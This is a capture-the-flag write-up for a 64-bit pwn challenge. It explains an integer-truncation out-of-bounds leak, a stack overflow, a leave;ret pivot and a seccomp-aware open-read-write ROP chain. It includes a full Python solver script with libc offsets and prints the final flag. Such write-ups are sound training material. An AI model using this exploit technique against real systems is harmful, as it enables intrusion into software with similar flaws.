Cosmic Rings
Cosmic Rings — Detailed Writeup#
- Challenge:
Cosmic Rings - Type:
pwn(64-bit ELF, PIE, stack overflow + OOB read leak) - Target:
nc chals1.apoorvctf.xyz 5001 - Flag:
apoorvctf{c0sm1c_b4rr13rs_br0k3n_4nd_h4v0k_s3cur3d}
1) Initial Triage#
I started with basic recon:
file havok
strings -n 4 havok
objdump -d -Mintel havok
nm -n havokbashKey findings:
- Binary is PIE, not stripped, has debug symbols.
- Uses custom
libc.so.6andld-linux-x86-64.so.2. - There is a function
cosmic_release()that doessystem("/bin/sh"). - Seccomp is installed in
setup_seccomp().
The app flow:
- Two times ring calibration (
calibrate_rings) - Read plasma signature (
read_plasma_signature, 256 bytes to global buffer) - Injection stage (
inject_plasma) with a vulnerable stackread
1.1) Detailed Recon and Command Rationale#
This section documents exactly what was run during recon and why each command mattered.
Recon goals#
- Identify binary type, runtime, and mitigations quickly.
- Map program flow and find likely bug surfaces from strings/symbols.
- Reverse critical functions to confirm memory corruption and leak primitives.
- Validate assumptions dynamically on local binary before touching remote.
- Build an exploit that matches real runtime constraints (PIE/libc/seccomp/filter).
Commands and explanations#
file havokbash- Confirms architecture and linkage properties.
- Result used: 64-bit ELF, PIE, dynamically linked, not stripped, debug info present.
- Impact: PIE means code addresses are randomized and must be leaked first.
strings -n 4 havokbash- Fast triage of available menus/messages and hidden clues.
- Result used: ring calibration prompts, plasma signature stage, injection stage,
/bin/sh, seccomp messages. - Impact: quickly narrows attack surface to
calibrate_ringsandinject_plasma.
nm -n havokbash- Lists symbols and offsets in ascending order.
- Result used: offsets for
main,calibrate_rings,read_plasma_signature,inject_plasma,setup_seccomp, globals (plasma_sig,flag_store). - Impact: these static offsets are converted to runtime addresses after PIE base leak.
objdump -d -Mintel havokbash- Full reverse of control flow and memory access.
- Critical findings:
calibrate_rings: user index parsed withatoi, negative check on full int, then truncated intoshort; large positive values wrap negative and bypass intended bounds.inject_plasma:read(0, confirm, 0x30)intoconfirm[0x20]stack buffer gives 16-byte overwrite beyond buffer.- validation checks reject signature containing byte pair
0x0f 0x05.
- Impact: gives both exploit primitives (leak + RIP control) and payload constraint.
readelf -S libc.so.6
nm -D libc.so.6 | rg "puts@@|open@@|read@@|write@@"
objdump -d -Mintel libc.so.6 | rg "pop\s+rdi|pop\s+rsi"bash- Collects exact libc symbol offsets and useful gadgets from provided libc.
- Result used: offsets for
puts/open/read/write; gadgets forpop rdi; ret,pop rsi; ret, and helper gadgets to controlrdx. - Impact: remote exploit must target this exact libc, not host libc.
./havokbash- Dynamic check of prompt sequence and blocking behavior.
- Result used: two ring calibration passes happen before signature upload and overflow stage.
- Impact: exploit script must synchronize I/O exactly with this order.
Dynamic validation checks#
-
Leak validation: send indices
65534and65535in the two calibration passes.65534wraps to-2inshort, leaking a libc pointer (resolvedputs).65535wraps to-1, leaking a PIE code pointer (main).
-
RIP control validation: overwrite saved return with
pie_base + main.- Program restarts banner/menu, confirming clean control of return address.
-
ROP sanity validation: run minimal
write(1, marker, len)chain after pivot.- Marker prints remotely, confirming stack pivot + libc call chain works.
How recon shaped exploit design#
- Needed two leaks (libc + PIE) before any final ROP.
- Needed stack pivot via saved
rbp+leave; retintoplasma_sig. - Needed to avoid signature containing
0x0f\x05bytes. - Needed ORW chain compatible with seccomp, using libc calls.
- Needed robustness for remote fd/path variance (successful combo:
./flag.txt, fd6).
2) Vulnerability Analysis#
A) OOB stack read leak in calibrate_rings#
Inside calibrate_rings:
- User index is parsed with
atoi. - Negative values are rejected before truncation.
- Then value is stored in a 16-bit signed variable (
short) and checked<= 3. - Huge positive integers (e.g.
65535,65534) wrap to-1,-2inshort. - These pass
<=3and index a local stack array out-of-bounds:-2leaks a libc pointer (GOT-resolvedputsaddress stored on stack)-1leaksmainpointer (PIE code pointer)
So we can derive both bases:
libc_base = leak_puts - puts_offsetpie_base = leak_main - main_offset
B) Stack overflow in inject_plasma#
In inject_plasma:
char confirm[0x20];
read(0, confirm, 0x30);cSo we overwrite:
- saved
rbp(8 bytes) - saved return address (8 bytes)
Classic stack pivot/ROP entrypoint.
C) Signature filter#
validate_plasma() scans plasma_sig for byte sequence 0x0f 0x05 and rejects if found (blocks inline syscall gadgets).
So ROP should avoid embedding raw syscall opcodes in payload bytes and instead call libc functions (open/read/write).
D) Seccomp implications#
Seccomp allows only a few syscalls (includes read, write, openat/open, etc.) and blocks dangerous ones like execve.
So even though system("/bin/sh") exists, shell-based approach is unreliable/not useful here.
Best path: ORW (open-read-write).
3) Exploit Strategy#
Stage 1: Leak bases#
During two calibration passes:
- send index
65534(short -> -2) -> leak resolvedputsaddress - send index
65535(short -> -1) -> leakmainaddress
Compute libc + PIE bases.
Stage 2: Load ROP chain into global buffer#
Send 256-byte plasma signature.
Put a fake stack + ROP chain into global plasma_sig.
Stage 3: Pivot and execute#
At injection prompt, overflow confirm buffer:
- overwrite saved
rbpwithplasma_sig - overwrite saved RIP with
leave; retgadget in binary (inject_plasmaepilogue) leave; retpivots stack into controlled global memory and starts ROP.
Stage 4: ORW chain#
ROP does:
open("./flag.txt", O_RDONLY, 0)read(fd, buf, 0x40)write(1, buf, 0x40)
Remote nuance: fd was not always 3 due to runtime/socket internals, so brute-force fd set [3..7] for robustness.
Working remote combination here: ./flag.txt + fd 6.
4) Important Offsets Used#
From provided binaries:
mainoffset:0x17e0putsoffset in libc:0x82e00plasma_sigglobal:0x4060flag_storeglobal:0x4280leave; retin binary:0x1657- libc:
open:0x10cb30read:0x10d310write:0x10dde0pop rdi; ret:0x10269apop rsi; ret:0x53887pop rax; ret:0xd47d7xchg rdx, rax; ret:0xb29bdret:0x10269b
(rdx is set via pop rax; ret + xchg rdx, rax; ret.)
5) Solver Script (Remote)#
#!/usr/bin/env python3
import socket
import re
import struct
HOST = "chals1.apoorvctf.xyz"
PORT = 5001
OFF = {
"main": 0x17e0,
"puts": 0x82e00,
"plasma_sig": 0x4060,
"flag_store": 0x4280,
"leave_ret": 0x1657,
"open": 0x10cb30,
"read": 0x10d310,
"write": 0x10dde0,
}
# libc gadgets
POP_RDI = 0x10269a
POP_RSI = 0x53887
POP_RAX = 0x0D47D7
XCHG_RDX_RAX = 0x0B29BD
RET = 0x10269B
def p64(x):
return struct.pack("<Q", x)
def recvuntil(sock, tok, timeout=5):
if isinstance(tok, str):
tok = tok.encode()
sock.settimeout(timeout)
data = b""
while tok not in data:
chunk = sock.recv(4096)
if not chunk:
break
data += chunk
return data
def sendline(sock, s):
if isinstance(s, str):
s = s.encode()
sock.sendall(s + b"\n")
def set_rdx(libc_base, val):
return p64(libc_base + POP_RAX) + p64(val) + p64(libc_base + XCHG_RDX_RAX)
def attempt(path_bytes, fd_guess):
s = socket.create_connection((HOST, PORT), timeout=8)
# pass 1 leak: idx = 65534 -> short(-2) -> leak puts ptr
recvuntil(s, "Probe a ring-energy slot")
sendline(s, "65534")
out = recvuntil(s, "Provide a label")
m = re.search(rb"energy: 0x([0-9a-fA-F]{16})", out)
if not m:
s.close()
return None
puts_leak = int(m.group(1), 16)
sendline(s, "A")
# pass 2 leak: idx = 65535 -> short(-1) -> leak main ptr
recvuntil(s, "Probe a ring-energy slot")
sendline(s, "65535")
out = recvuntil(s, "Provide a label")
m = re.search(rb"energy: 0x([0-9a-fA-F]{16})", out)
if not m:
s.close()
return None
main_leak = int(m.group(1), 16)
sendline(s, "B")
libc_base = puts_leak - OFF["puts"]
pie_base = main_leak - OFF["main"]
pivot = pie_base + OFF["plasma_sig"]
path_addr = pie_base + OFF["plasma_sig"] + 0xF0
out_buf = pie_base + OFF["flag_store"]
# ORW chain
rop = b""
rop += p64(libc_base + RET)
rop += p64(libc_base + POP_RDI) + p64(path_addr)
rop += p64(libc_base + POP_RSI) + p64(0)
rop += set_rdx(libc_base, 0)
rop += p64(libc_base + OFF["open"])
rop += p64(libc_base + POP_RDI) + p64(fd_guess)
rop += p64(libc_base + POP_RSI) + p64(out_buf)
rop += set_rdx(libc_base, 0x40)
rop += p64(libc_base + OFF["read"])
rop += p64(libc_base + POP_RDI) + p64(1)
rop += p64(libc_base + POP_RSI) + p64(out_buf)
rop += set_rdx(libc_base, 0x40)
rop += p64(libc_base + OFF["write"])
# fake stack at plasma_sig; avoid 0x0f05 bytes in signature
sig = p64(pivot + 0x100) + rop
sig = sig.ljust(0xF0, b"P") + path_bytes + b"\x00"
sig = sig.ljust(0x100, b"Q")
if b"\x0f\x05" in sig:
s.close()
return None
recvuntil(s, "Upload Plasma Signature")
s.sendall(sig)
recvuntil(s, "Confirm injection key:")
# overflow confirm[0x20], smash rbp + rip
overflow = b"A" * 0x20 + p64(pie_base + OFF["plasma_sig"]) + p64(pie_base + OFF["leave_ret"]) + b"X" * 8
s.sendall(overflow)
s.settimeout(1.5)
data = b""
try:
while True:
c = s.recv(4096)
if not c:
break
data += c
except Exception:
pass
s.close()
m = re.search(rb"apoorvctf\{[^}]+\}", data)
return m.group(0).decode() if m else None
def main():
paths = [
b"/flag.txt",
b"flag.txt",
b"./flag.txt",
b"/home/ctf/flag.txt",
b"/app/flag.txt",
b"/challenge/flag.txt",
]
for p in paths:
for fd in range(3, 8):
flag = attempt(p, fd)
if flag:
print("[+] path =", p.decode(), "fd =", fd)
print("[+] FLAG:", flag)
return
print("[-] not found")
if __name__ == "__main__":
main()python6) Why This Works#
- Integer truncation bug gives reliable libc+PIE leaks.
- Stack overflow gives control of
rbp+rip. leave; retpivots execution to global controlled memory.- ROP calls libc
open/read/writedirectly, no forbidden syscall bytes in signature. - Seccomp still allows filesystem I/O syscalls needed for ORW.
7) Final Flag#
apoorvctf{c0sm1c_b4rr13rs_br0k3n_4nd_h4v0k_s3cur3d}